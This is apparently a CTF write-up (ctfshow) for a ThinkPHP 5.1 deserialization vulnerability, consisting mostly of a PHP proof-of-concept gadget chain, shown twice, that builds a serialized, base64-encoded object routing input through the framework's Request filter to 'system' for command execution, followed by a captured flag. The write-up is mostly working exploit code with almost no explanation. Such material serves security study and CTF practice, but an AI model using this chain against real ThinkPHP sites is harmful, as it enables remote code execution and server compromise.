thinkphp5.1nginx/1.16.1PHP/7.3.11
    thinkphp 5.1反序列化漏洞
    参考文章:https://xz.aliyun.com/t/6619

    1. <?php
    2. namespace think;
    3. abstract class Model{
    4. protected $append = [];
    5. private $data = [];
    6. function __construct(){
    7. $this->append = ["lin"=>["calc.exe","calc"]];
    8. $this->data = ["lin"=>new Request()];
    9. }
    10. }
    11. class Request
    12. {
    13. protected $hook = [];
    14. protected $filter = "system";
    15. protected $config = [
    16. // 表单ajax伪装变量
    17. 'var_ajax' => '_ajax',
    18. ];
    19. function __construct(){
    20. $this->filter = "system";
    21. $this->config = ["var_ajax"=>'lin'];
    22. $this->hook = ["visible"=>[$this,"isAjax"]];
    23. }
    24. }
    25. namespace think\process\pipes;
    26. use think\model\concern\Conversion;
    27. use think\model\Pivot;
    28. class Windows
    29. {
    30. private $files = [];
    31. public function __construct()
    32. {
    33. $this->files=[new Pivot()];
    34. }
    35. }
    36. namespace think\model;
    37. use think\Model;
    38. class Pivot extends Model
    39. {
    40. }
    41. use think\process\pipes\Windows;
    42. echo base64_encode(serialize(new Windows()));
    43. ?>

    数据接收方式
    image.png

    poc

    1. <?php
    2. namespace think;
    3. abstract class Model{
    4. protected $append = [];
    5. private $data = [];
    6. function __construct(){
    7. $this->append = ["lin"=>["calc.exe","calc"]];
    8. $this->data = ["lin"=>new Request()];
    9. }
    10. }
    11. class Request
    12. {
    13. protected $hook = [];
    14. protected $filter = "system";
    15. protected $config = [
    16. // 表单ajax伪装变量
    17. 'var_ajax' => '_ajax',
    18. ];
    19. function __construct(){
    20. $this->filter = "system";
    21. $this->config = ["var_ajax"=>'lin'];
    22. $this->hook = ["visible"=>[$this,"isAjax"]];
    23. }
    24. }
    25. namespace think\process\pipes;
    26. use think\model\concern\Conversion;
    27. use think\model\Pivot;
    28. class Windows
    29. {
    30. private $files = [];
    31. public function __construct()
    32. {
    33. $this->files=[new Pivot()];
    34. }
    35. }
    36. namespace think\model;
    37. use think\Model;
    38. class Pivot extends Model
    39. {
    40. }
    41. use think\process\pipes\Windows;
    42. echo base64_encode(serialize(new Windows()));
    43. ?>

    image.png
    flag
    ctfshow{ec5d42a1-43b7-4a53-beec-0a72e1790281}